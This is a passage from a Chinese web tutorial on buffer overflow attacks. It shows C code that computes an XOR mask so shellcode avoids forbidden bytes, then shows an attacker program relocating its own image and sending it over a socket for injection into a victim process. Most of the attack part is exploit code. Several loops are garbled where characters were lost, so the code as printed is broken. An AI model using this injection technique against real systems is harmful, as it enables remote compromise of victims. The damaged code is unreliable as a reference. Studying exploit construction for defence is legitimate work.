破坏力依然不可小视 缓冲区溢出攻防
2006-11-07 20:09:59 来源:WEB开发网核心提示: GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码,代码如下:BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount){ BYTE arrUsage[256], b
GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码,代码如下:
BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount)
{
BYTE arrUsage[256], by = 0;
memset(arrUsage, 0, sizeof(arrUsage));
for(int i=0; i arrUsage[*(pData + i)] = 1;
for(i=0; i<256; i++)
{
by = (BYTE)i;
//xor mask can not be a disallowed char
for(int j=0; j if(arrDisallow[j] == by)
break;
if(j < nCount)
continue;
//after xor, the data should not contain a disallowed char
for(j=0; j if(arrUsage[arrDisallow[j] ^ by] == 1)
break;
if(j >= nCount)
return by;
}
//we don''t find it, return the first disallowed char for an error
return arrDisallow[0];
}
异或处理完毕后,PrepareStub要根据动态计算出来的数据,修改stubstubcode。由于数据是动态算出来的,所以需要对最终的stubstubcode做一个检查,看里面有没有不允许的字符。最后,它用g_szStubTail把stub填充为一个完整地UNC字符串,整个stub的准备工作宣告完成。
前面已经说过,stubcode的任务是在victim中建立一个attacker的映像,然后把控制权交给它里边的AttackerEntry函数。因而attacker的第二步工作是把自身的一个拷贝重定位后,发给stubcode。下面的代码就来完成这些任务:
…
DWORD dwNewBase, dwSize;
LPBYTE pImage;
recv(sck, (char*)(&dwNewBase), sizeof(DWORD), 0);
dwSize = GetImageSize((LPCBYTE)g_hInst);
pImage = (LPBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
memcpy(pImage, (const void*)g_hInst, dwSize);
RelocImage(pImage, (DWORD)g_hInst, dwNewBase);
DoInject(sck, pImage, dwSize);
…
attacker先从stubcode中获得它分配的内存的起始地址,这个地址就是attacker在victim中的映像基址。然后attacker把自身复制一份,并按照新的映像基址对这个拷贝进行重定位,RelocImage的代码与《进程隐藏》中的基本相同,这里不再重复。但要注意:默认情况下,链接器不会为EXE文件生成重定位表。所以链接attacker时,要加上参数“/FIXED:No”,强制链接器生成重定位表。DoInject完成数据发送,也是简单的网络通讯,所以略过不讲。
更多精彩
赞助商链接